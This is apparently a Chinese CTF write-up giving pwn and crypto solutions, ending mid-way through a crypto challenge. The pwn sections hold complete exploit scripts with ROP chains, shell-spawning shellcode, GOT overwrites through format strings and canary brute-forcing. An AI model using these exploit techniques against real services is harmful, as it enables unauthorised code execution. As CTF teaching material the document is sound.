pwn
[week1] 我把她丢了
首先,先checksec查看保护,可发现got表可覆写,无pie,无canary,栈上不可执行
打开ida,发现vuln
函数内存在栈溢出漏洞,同时发现shell
函数内有system
语句,程序内包含/bin/sh
通过64位传参可知,原system
语句中的内容在call _system
之前传给rdi,因此可以不选用shell
函数的开始地址,转而选择先pop rdi;ret
手动更改rdi为/bin/sh
的地址,再直接转入call _system
,如此执行system("/bin/sh")
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3from pwncli import *4from LibcSearcher import *5
6# use script mode7cli_script()8
9# get use for obj from gift10io: tube = gift['io']11elf: ELF = gift['elf']12libc: ELF = gift['libc']13
14bin_sh = 0x40200815system_addr = 0x40120f5 collapsed lines
16rdi_ret = 0x40119617payload = b'a'*(0x70+0x8)+p64(rdi_ret)+p64(bin_sh)+p64(system_addr)18sla(b"I lost her, what should I do? Help me find her.\n",payload)19
20ia()
[week1] Ret2text
首先,先checksec查看保护,可发现got表可覆写,无pie,无canary,栈上不可执行
发现main
函数中存在栈溢出,同时发现dt_gift
函数
于是经过尝试,可构建payload=b'a'*(0x20+0x8)+p64(gift_addr)
,但此时由于未对齐,不可正确执行,于是在p64(gift_addr)
前插入一个ret
的地址
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3from pwncli import *4from LibcSearcher import *5
6# use script mode7cli_script()8
9# get use for obj from gift10io: tube = gift['io']11elf: ELF = gift['elf']12libc: ELF = gift['libc']13
14gift_addr = 0x4011A415ret_addr = 0x40101a4 collapsed lines
16payload = b'a'*(0x20+0x8)+p64(ret_addr)+p64(gift_addr)17sl(payload)18
19ia()
[week1] echo
echo "$(<flag)"
[week1] shellcode_level0
checksec发现除了canary以外保护全开
IDA可以看到,数据输入buf后执行((void (*)(void))buf)()
,将buf指针转为函数指针后执行函数,由此可注入shellcode(手写shellcode后续学习)后执行
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15shell_code = '''13 collapsed lines
16xor rdx,rdx;17push rdx;18mov rsi,rsp;19mov rax,0x68732f2f6e69622f;20push rax;21mov rdi,rsp;22mov rax,59;23syscall;24'''25payload = asm(shell_code)26sl(payload)27
28ia()
[week1] 彻底失去她
checksec可得64位文件,可覆写got表,无canary和pie,栈上不可执行
在main函数中可看到buf存在栈溢出,双击buf可看到buf不在.bss段中
发现present函数,其内容为system('ls')
,且在IDA中未发现/bin/sh
这题考虑先栈溢出,将返回地址覆盖为read函数地址,通过此函数将/bin/sh
(也可输入cat flag
等)输入.bss段,后手动设置rdi,直接执行present函数中的syscall
通过实验可得,read函数输入内容的存储地址由rsi控制,于是在前往read函数之前,先手动设置rsi为.bss段中的一个地址,即payload = b'A'*(0xA+0x8)+p64(rsi_ret)+p64(bss_addr)+p64(read_plt)+p64(rdi_ret)+p64(bss_addr)+p64(ret_addr)+p64(syscall_addr)
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15present_addr = 0x40119812 collapsed lines
16syscall_addr = 0x4011A517rdi_ret = 0x40119618rsi_ret = 0x4011ad19ret_addr = 0x40101a20bss_addr = 0x4040A121read_plt = elf.plt['read']22payload = b'A'*(0xA+0x8)+p64(rsi_ret)+p64(bss_addr)+p64(read_plt)+p64(rdi_ret)+p64(bss_addr)+p64(ret_addr)+p64(syscall_addr)23sla(b"By the way, I still don't know your nam",payload)24sleep(5)25sl(b'/bin/sh')26
27ia()
[Week2] 她与你皆失
checksec,可覆写got表,无canary和pie,堆栈上不可执行
IDA中未看到后门函数,字符串中没有/bin/sh,由此可看出为ret2libc
由于glibc-all-in-one中没有题目所给的glibc版本,于是使用libcsearcher
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15puts_plt = elf.plt['puts']18 collapsed lines
16puts_got = elf.got['puts']17rdi_ret = 0x40117618ret_addr = 0x40101a19main_addr = elf.sym['main']20print(puts_got)21payload1 = b'A'*(0xA+0x8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)22sla(b"I have nothing, what should I do?",payload1)23r(1)24puts_addr = u64(r(6).ljust(8,b'\x00'))25print("puts_addr = ",hex(puts_addr))26obj = LibcSearcher("puts", puts_addr)27base = puts_addr-obj.dump("puts")28system_addr = base+obj.dump("system")29bin_sh = base+obj.dump("str_bin_sh")30payload2=b'A'*(0xA+0x8)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system_addr)31sla(b"I have nothing, what should I do?",payload2)32
33ia()
或者不使用LibcSearcher,直接用给出的libc文件
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13# libc: ELF = gift['libc']14libc = ELF('./libc.so.6')15
22 collapsed lines
16puts_plt = elf.plt['puts']17puts_got = elf.got['puts']18rdi_ret = 0x40117619ret_addr = 0x40101a20main_addr = elf.sym['main']21print(puts_got)22payload1 = b'A'*(0xA+0x8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)23sla(b"I have nothing, what should I do?",payload1)24r(1)25puts_addr = u64(r(6).ljust(8,b'\x00'))26print("puts_addr = ",hex(puts_addr))27# obj = LibcSearcher("puts", puts_addr)28# base = puts_addr-obj.dump("puts")29# system_addr = base+obj.dump("system")30# bin_sh = base+obj.dump("str_bin_sh")31base = puts_addr-libc.sym['puts']32system_addr = base+libc.sym['system']33bin_sh = base+next(libc.search("/bin/sh"))34payload2=b'A'*(0xA+0x8)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system_addr)35sla(b"I have nothing, what should I do?",payload2)36
37ia()
[Week2] format_string_level0
现根据所给的libc文件和ld文件更换glibc
checksec发现保护全开
分析代码可知,程序将本地flag文件的内容存入v6变量中,我们需要在buf中输入格式化字符串,在通过输出来获取flag
首先,我们构建payload = b'%p '*10
依次输出,确定指向flag的地址
可以看到,指向flag的地址为0x556faa7f22a0
,在输出中栈上的指针在第八位出现,于是可写成payload = b'%8$p'
,获取flag可写payload = b'%8$s'
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15payload = b'%8$s'3 collapsed lines
16sl(payload)17
18ia()
[Week2] shellcode_level1
题目保护全开
第一次读入正好为2字节,而syscall
经过汇编后也为2字节,我们可以先尝试输入payload = asm('''syscall''')
,发现当调用到syscall时,rax正好为0,此时查系统调用表可得,运行read函数,因此IDA中((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);
可理解为read(0LL, buf, 1280LL)
,吗???***此点存疑!!!***但反正可以继续输入数据并执行
再次输入时,由于传入的开始写入地址还是在buf头部,于是我们要先塞入两字节,再开始覆盖shellcode,exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15shell = asm('''18 collapsed lines
16syscall;17''')18s(shell)19sleep(8)20shell_code = asm('''21xor rdx,rdx22push rdx23mov rsi,rsp24mov rax,0x68732f2f6e69622f25push rax26mov rdi,rsp27mov rax,5928syscall29''')30payload = b'AA'+shell_code31s(payload)32
33ia()
1此题有疑问,为什么开了NX依旧可以使用shellcode呢?2
3NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。在题目中我们使用vmmap可以看出,第二次输入的buf位置权限可执行
[Week2] format_string_level1
checksec可看到开了canary和NX
IDA分析,考虑可使用格式化字符串修改target变量的值,从而获取flag,可获取到target的地址为0x4040B0
先使用payload = b'AAAAAAAA'+b'%p '*10
来试探AAAAAAAA的地址,可看出AAAAAAAA在第六位出现,即payload = b'AAAAAAAA'+b'%6$p'
由于本题考虑小数据覆盖,于是可使用payload = b'A'+b'%7$p'+b'AAA'+b'BBBBBBBB'
重新检验
结果正确,于是可构建payload = b'A'+b'%7$hhn'+b'A'+p64(target)
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15target = 0x4040B04 collapsed lines
16payload = b'A'+b'%7$hhn'+b'A'+p64(target)17sl(payload)18
19ia()
[Week2] gift
checksec,file得,此题为静态链接,考虑使用ret2syscall
main函数中存在栈溢出,未发现后门函数和/bin/sh字符串,考虑先syscall调用read函数输入/bin/sh,再返回syscall调用execve执行
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13
14bss_addr = 0x4C800115syscall_addr = 0x414B4612 collapsed lines
16rax_rdx_rbx = 0x47f2ea17# 0x47f2ea : pop rax ; pop rdx ; pop rbx ; ret18rdi_ret = 0x401f2f19rsi_ret = 0x409f9e20# 参数设置顺序:rax rdi rsi rdx rcx21# 1 4 5 2 rbx:322payload1 = b'A'*(0x28)+p64(rax_rdx_rbx)+p64(0)+p64(8)+p64(0)+p64(rdi_ret)+p64(0)+p64(rsi_ret)+p64(bss_addr)+p64(syscall_addr)23payload1 += p64(rax_rdx_rbx)+p64(59)+p64(0)+p64(0)+p64(rdi_ret)+p64(bss_addr)+p64(rsi_ret)+p64(0)+p64(syscall_addr)24sla(b"Why so many functions, it seems that somewhere is not quite the same",payload1)25sl(b'/bin/sh\x00')26
27ia()
[Week3] 你为什么不让我溢出
checksec发现,canary开
IDA中发现vuln函数中存在栈溢出漏洞,read读入可以使用send,puts输出不可使用格式化字符串
经过多轮调试发现,canary位于rbp上方,且最后一字节为\x00,因此需要覆盖一位后输出.
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15payload = b'A'*(0x70-0x8+1)11 collapsed lines
16sa(b"Hello Hacker!\n",payload)17r(0x70-0x8+1)18canary = u64(r(7).rjust(8,b'\x00'))19print("canary = ",hex(canary))20
21getshell = 0x4011B622ret_addr = 0x40101a23payload = b'A'*(0x70-0x8)+p64(canary)+b'A'*8+p64(ret_addr)+p64(getshell)24s(payload)25
26ia()
[Week3] format_string_level2
checksec
IDA未发现后门函数,可看出使用了printf,可使用格式化字符串更改printf的GOT表,将其指向system,注意64位程序执行格式化字符串输出时,由于地址经过p64封装后存在\x00
,因此无论是泄露还是修改都需要将地址放在最后,详细可见文章
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15printf_got = elf.got['printf']30 collapsed lines
16print("printf_got = ",hex(printf_got))17print("printf_got_p64 = ",p64(printf_got))18payload = b'AAAA'+b'%7$s'+p64(printf_got)19s(payload)20ru(b'AAAA')21printf_addr = u64(r(6).ljust(8,b'\x00'))22r()23print("printf_addr = ",hex(printf_addr))24# base = printf_addr-libc.sym['printf']25# system = base+libc.sym['system']26obj = LibcSearcher("printf",printf_addr)27base = printf_addr-obj.dump("printf")28print("base = ",hex(base))29system = base+obj.dump("system")30print("system = ",hex(system))31
32# payload = fmtstr_payload(6,{printf_got:system})33payload = b'%'+str((system>>16)&0xff).encode()+b'c'+b'%16$hhn'34payload += b'%'+str((system&0xffff)-((system>>16)&0xff)).encode()+b'c'+b'%17$hn'35num = len(payload)36while len(payload) != 80:37 payload+=b'A'38payload += p64(printf_got+2)+p64(printf_got)39print("payload = ",payload)40sl(payload)41
42sleep(5)43sl(b'/bin/sh\x00')44
45ia()
[Week3] PIE
checksec发现,无法覆写GOT表,无canary,栈上不可执行,开了PIE
main函数中存在栈溢出,此题难点在于不更改返回地址的情况下,只能执行一次栈溢出
考虑更改0x7fd1b7c04d90 (__libc_start_call_main+128)
最后一节数据,使程序能够重载进入main函数,经过调试发现,改为\x28
符合条件
在覆盖后,经过printf,可将更改后的数据打印出来,由此可以计算得出libc加载基址.第二次进入main函数时再次进行栈溢出,由于程序加载基址并未泄露,因此无法使用pwn文件中的ROP,这次考虑直接one_gadget
经过对比可得,可以使用第二条来获取shell,同时vmmap可以看到,在libc段中有可写段,于是可构建payload
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15payload = b'A'*(0x100+8)+b'\x28'14 collapsed lines
16s(payload)17ru(b"you said ")18r(0x100+8)19lscmain = u64(r(6).ljust(8,b'\x00'))20libc_base = lscmain-0x29d2821print("libc_base = ",hex(libc_base))22
23one = 0xebc85+libc_base24write_addr = 0x21a000+libc_base25print("write_addr = ",hex(write_addr))26payload = b'B'*(0x100)+p64(write_addr+0x100)+p64(one)27s(payload)28
29ia()
也可以考虑用libc中的gadget来构建ROP链
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15payload = b'A'*(0x100+8)+b'\x28'18 collapsed lines
16s(payload)17ru(b"you said ")18r(0x100+8)19lscmain = u64(r(6).ljust(8,b'\x00'))20libc_base = lscmain-0x29d2821print("libc_base = ",hex(libc_base))22system = libc_base+libc.sym['system']23bin_sh = libc_base+next(libc.search("/bin/sh"))24print("system = ",hex(system))25print("bin_sh = ",hex(bin_sh))26
27# 0x0000000000098212 : add bh, dh ; ret28ret = 0x098212+libc_base29rdi_ret = 0x2a3e5+libc_base30payload = b'B'*(0x100+8)+p64(rdi_ret)+p64(bin_sh)+p64(ret)+p64(system)31s(payload)32
33ia()
[Week3] stack_in_stack
chechsec
IDA发现一次读写内容仅够覆盖完返回地址,于是考虑栈迁移
可利用这个函数泄露libc基地址
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15main_addr = 0x40124A26 collapsed lines
16gift_addr = 0x4011CB17leave_ret = 0x4012f218ru(b"It looks like something fell off mick0960.\n")19buf = int(r(14),16)20print("buf = ",hex(buf))21payload = p64(0)+p64(gift_addr)+p64(0)+p64(main_addr)+p64(0)*2+p64(buf)+p64(leave_ret)22s(payload)23
24ru(b"You found the secret!\n")25puts_addr = int(r(14),16)26print("puts_addr = ",puts_addr)27libc_base = puts_addr-libc.sym["puts"]28system = libc_base+libc.sym["system"]29bin_sh = next(libc.search("/bin/sh"))+libc_base30rdi_ret = 0x2a3e5+libc_base31
32ru(b"It looks like something fell off mick0960.\n")33buf = int(r(14),16)34print("buf = ",hex(buf))35ret_addr = 0x40101a36payload = p64(0)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system)+p64(0)+p64(buf)+p64(leave_ret)37s(payload)38
39ia()40# set follow-fork-mode parent41# set detach-on-fork on
[Week4] format_string_level3
只能执行一次格式化字符串,于是考虑.fini_array挟持,这个东西静态和动态好像不一样,动态的程序.fini_array段貌似只能存放一个数据(IDA里看的),而且进入的流程也有些区别,静态的可以看这个
本题首先打算第一次格式化字符串用来泄露libc和更改.fini_array,第二次进入main函数执行格式化字符串更改printf的got表为system,但想要执行shell,必须再来一次main函数,如果只完成这些部分,并不能第三次进入main函数,于是我们继续往下调试.
如果我们可以更改rax+8(0x403148)的内容为main函数地址,我们可以通过这三条语句再次调用main函数.在IDA中可以看到这条地址下存储的内容:
于是第二次格式化字符串要完成的目标即为:修改0x403148为main函数地址,修改printf的got表为system
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6
7# use script mode8cli_script()9
10# get use for obj from gift11io: tube = gift['io']12elf: ELF = gift['elf']13libc: ELF = gift['libc']14
15# 往0x403118写入0x40121B22 collapsed lines
16# 0x403148 0x40121B17main_addr = 0x40121B18ru(b'-----\n')19payload = b'%41$p'+(b'%'+str((main_addr&0xffff)-14).encode()+b'c'+b'%11$hn').ljust(35,b'A')+p64(0x403118)20sl(payload)21lscm = int(r(14),16)-12822libc_base = lscm-0x2cd1023system = libc_base+libc.sym["system"]+0x3000 # 不知道为什么有0x3000的偏移24print("system = ",hex(system))25printf_got = elf.got["printf"]26print("printf_got = ",printf_got)27
28payload = (b'%'+str((system>>16)&0xff).encode()+b'c'+b'%14$hhn'+b'%'+str((main_addr&0xffff)-((system>>16)&0xff)).encode()+b'c'+b'%15$hn'+b'%'+str((system&0xffff)-(main_addr&0xffff)).encode()+b'c'+b'%16$hn').ljust(64,b'A')+p64(printf_got+2)+p64(0x403148)+p64(printf_got)29sl(payload)30
31ru(b'-----\n')32ru(b'-----\n')33sl(b'/bin/sh')34
35ia()36# set follow-fork-mode parent37# set detach-on-fork on
[Week4] 没有 canary 我要死了! (远端未打通)
发现保护全开
IDA中发现fork函数和随机数函数
发现后门函数
这一题主要考虑的是fork函数复制进程是一模一样的,由此可以爆破得出canary,而随机数是伪随机数,因此我们可以调用glibc库中的随机数函数来破解 参考文章Python ctypes 使用笔记
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14# libc: ELF = gift['libc']15
34 collapsed lines
16libc = cdll.LoadLibrary('libc.so.6')17libc.srand(libc.time(0))18canary = b'\x00'19shell = 0x02B120for i in range(7):21 for j in range(256):22 ru(b"oh, welcome to BaseCTF\n")23 sl(str(libc.rand()%50).encode())24 payload = b'A'*(0x70-8)+canary+bytes([j])25 print("payload = ",payload)26 s(payload)27 rl()28 data = rl()29 print("data = ",data)30 if data != b"*** stack smashing detected ***: terminated\n":31 canary+=bytes([j])32 break33print("canary = ",canary)34ru(b'oh, welcome to BaseCTF\n')35while True:36 sl(str(libc.rand()%50).encode())37 rl()38 payload = b'A'*(0x70-8)+canary+p64(0xdeadbeef)+p16(shell)39 s(payload)40 rec = rl()41 print("rec = ",rec)42 if rec == b"oh, welcome to BaseCTF\n":43 shell+=0x100044 else:45 break46
47ia()48# set follow-fork-mode parent49# set detach-on-fork on
[Week4] ezstack
checksec
本题未发现后门函数,考虑利用libc,可以覆写setvbuf的got表为system,可利用ret2csu和出题人给的magic_gadget
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
25 collapsed lines
16gets_plt = elf.plt["gets"]17setvbuf_plt = elf.plt["setvbuf"]18setvbuf_got = elf.got["setvbuf"]19system = libc.sym["system"]20gadget1 = 0x4006EA21# pop rbx,rbp,r12,r13,r14,r15;retn22gadget2 = 0x4006D023magic = 0x40065824# add [rbp-3Dh], ebx25rdi_ret = 0x4006f326bss_addr = 0x60106927offset = -0x3088028offset = offset&0xFFFFFFFFFFFFFFFF29print("setvbuf_got = ",setvbuf_got)30
31payload = b'A'*(0x10)+p64(gadget1)32payload += p64(offset)+p64(setvbuf_got+0x3d)+p64(0)*4+p64(magic)33payload += p64(rdi_ret)+p64(bss_addr)+p64(gets_plt)34payload += p64(rdi_ret)+p64(bss_addr)+p64(setvbuf_plt)35sl(payload)36sl(b"/bin/sh\x00")37
38ia()39# set follow-fork-mode parent40# set detach-on-fork on
crypto
[Week1] helloCrypto
由AES的定义可知,AES是对称加密,由此我们可以从密文直接推得明文,原题给的仅仅是例子,原题后的注释才是真正的数据
exp如下:
1from Crypto.Util.number import *2from Crypto.Cipher import AES3from Crypto.Util.Padding import pad4import random5
6key = 2087977599532883996203248909305727366287key = long_to_bytes(key)8c = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'9aes=AES.new(key=key,mode=AES.MODE_ECB)10flag=aes.decrypt(c)11print(flag)
[Week1] ez_math
题目如下:
1import numpy as np2from Crypto.Util.number import *3
4a, b, c, d = [getPrime(128) for _ in range(4)]5point1 = a * d6point2 = b * c7matrix2 = [[0, a, b], [0, c, d]]8
9flag = b"flag{test_flag}"10flag = bytes_to_long(flag)11
12
13def randomArray():14 upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]15 low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]14 collapsed lines
16 for i in range(3):17 for j in range(i+1, 3):18 upper[i][j] = getPrime(128)19 low[j][i] = getPrime(128)20 result = np.array(upper) @ np.array(low)21 return result22
23A = np.array([[flag, 0, 0]] + matrix2)24B = randomArray()25MAT = A @ B26
27print(point1)28print(point2)29print(MAT)
分析可得:
1A=[[flag, 0, 0],2 [0 , a, b],3 [0 , c, d]]4
5upper=[[1,x1 ,x2], low=[[1 ,0 ,0],6 [0,1 ,x3], [y1,1 ,0],7 [0,0 ,1 ]] [y2,y3,1]]
由线性代数知识|A@B|=|A||B|
可得,|B|=|upper||low|=1
,|MAT|=|A||B|=|A|
,因为|A|=flag*(ad-bc)=flag*(point1-point2)
由此可逆向解出flag
exp如下:
1import numpy as np2from Crypto.Util.number import *3
4point1 = 857637550292926075940558058047557562824737630315249118513566586721801857074775point2 = 704708621915948930367335404945545366082942306030702510135361897983045445796436list = [[73595299897883318809385485549070133693240974831930302408429664709375267345973630251242462442287906226820558620868020093702204534513147710406187365838820773200509683489479230005270823245,46106113894293637419638880781044700751458754728940339402825975283562443072980134956975133603010158365617690455079648357103963721564427583836974868790823082218575195867647267322046726830,161159443444728507357705839523372181165265338895748546250868368998015829266587881868060439602487400399254839839711192069105943123376622497847079185],[13874395612510317401724273626815493897470313869776776437748145979913315379889260408106588331541371806148807844847909,17025249852164087827929313934411832021160463738288565876371918871371314930048841650464137478757581505369909723030523,59510107422473463833740668736202898422777415868238817665123293560097821015330],[11314088133820151155755028207579196628679021106024798818326096960197933616112389017957501267749946871903275867785729,13883500421020573457778249958402264688539607625195400103961001780695107955462968883861677871644577542226749179056659,48528427402189936709203219516777784993195743269405968907408051071264464132448]]7MAT = np.array(list)8det_B = 19det_MAT = MAT[0][0]*(MAT[1][1]*MAT[2][2]-MAT[1][2]*MAT[2][1])-MAT[0][1]*(MAT[1][0]*MAT[2][2]-MAT[2][0]*MAT[1][2])+MAT[0][2]*(MAT[1][0]*MAT[2][1]-MAT[2][0]*MAT[1][1])10det_A = det_B*det_MAT11flag = det_A//(point1-point2)12flag = long_to_bytes(flag)13print(flag)
[Week1] 你会算md5吗
题目如下:
1import hashlib2
3flag='BaseCTF{}'4
5output=[]6for i in flag:7 my_md5=hashlib.md5()8 my_md5.update(i.encode())9 output.append(my_md5.hexdigest())10print("output =",output)
由此可知,题目对flag按字节做了md5加密,加密后内容存于output列表中,因为md5是非对称的,于是我们可以按字节进行枚举,以此获得每一位flag.
exp如下:
1import hashlib2
3output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']4flag=[]5for i in output:6 for j in range(33,126):7 my_md5=hashlib.md5()8 my_md5.update(chr(j).encode())9 if my_md5.hexdigest() == i:10 flag.append(chr(j))11string1 = ''.join(flag)12print(string1)
[Week1] 十七倍
题目如下:
1#include <stdio.h>2int main() {3 unsigned char flag[] = "BaseCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";4 int i;5 for (i = 0; i < 40; i++) {6 flag[i] = flag[i] * 17;7 }8 if (flag[0] != 98) { /* �±��Ǵ� 0 ��ʼ�� */9 printf("CPU Error???\n");10 return 1;11 }12 unsigned char cipher[] = {13 98, 113, 163, 181, 115, 148, 166, 43, 9, 95,14 165, 146, 79, 115, 146, 233, 112, 180, 48, 79,15 65, 181, 113, 146, 46, 249, 78, 183, 79, 133,10 collapsed lines
16 180, 113, 146, 148, 163, 79, 78, 48, 231, 7717 };18 for (i = 0; i < 40; i++) {19 if (flag[i] != cipher[i]) {20 printf("flag[%d] is wrong, expect %d, got %d.\n", i, cipher[i], flag[i]);21 return 1;22 }23 }24 return 0;25}
我们可以从题目中看到,flag为一个unsigned char
型的数组,随后每位字符*17,查文档可得,由于flag是unsigned char
类型,乘法结果会被截断为8位无符号整数。这意味着,如果乘法结果大于255,它会被模256。所以我们可以按字符来枚举,当符合条件时就填入flag。
exp如下:
1#include <stdio.h>2int main() {3 unsigned char cipher[] = {4 98, 113, 163, 181, 115, 148, 166, 43, 9, 95,5 165, 146, 79, 115, 146, 233, 112, 180, 48, 79,6 65, 181, 113, 146, 46, 249, 78, 183, 79, 133,7 180, 113, 146, 148, 163, 79, 78, 48, 231, 778 };9 unsigned char flag[50]={};10 for (int i=0;i<40;i++) {11 for (int j=33;j<=126;j++) {12 unsigned char c=j;13 c = c*17;14 if (c==cipher[i]) {15 flag[i]=j;8 collapsed lines
16 }17 }18 }19 for (int i=0;i<40;i++) {20 printf("%c",flag[i]);21 }22 return 0;23}
[Week1] mid_math
与ez_math同理,直接给出exp:
1import numpy as np2from Crypto.Util.number import *3
4point1 = 655405968223330298268843155038089962737337370798143455406078782876184197342315point2 = 451512441769403661327743118480776758494863320188438940721376099854636167922716MAT = np.array([[9259505595451159514948336330303511539525155092949382077995385373332083424570340733825203563332256599256361679775371565817159463557158551820090084800254999338417057682355404780422980119717238594927467956675771042145306399815569005775907169857728757334979422594358,3700462282298785820527479428312072678870010244861115107206951164684911761755437333209293039456840068340334559453608012512177623936248784897843503284633804083281388001236742261832974291349480314135560368365574114042082002559069958228523318326290833422846224288247,20791012146351643571145217310876690226642338279942557085580439219377325884045305279931904540467264182713135410067252835618936836675270813727053937054168296298149405902638242278868020381541490973458957704137657413376043351193],[3802535350808074374431476757195874789213113083310705049856269457737583463559458126494122484246497049005001474007088865512110432486291568737501434666990689483191924384489484665070592656641925905986397402822195880143437724155134584374613878027218950975919679551229,1519642544380087919293814751485424198320747098741960781639133554268321708273309194651985562222274023623071346914239982055028526526058064787882720065775210796950963778381575914964024929110539407721461321785325399699126116201001806816030960662346173275101476487421,8538097185709421082644083672229287227818939415260987123718318427750267353075860559170390896769087600458156859498331152566368881938040799840806164389020986990994328370205184734637870147251004626759120887684269603636183629300],[17987668490992083132878642797176089621188858356259455169173987325310681186627844776077058221612169421636403546746899152917309634315569997105261046388995579843528014810244648968375990949478033964619008761814039733347955609163,7188579142941521685422767412932555782658469950638690886255638896617687421517941457682493542615460990114218059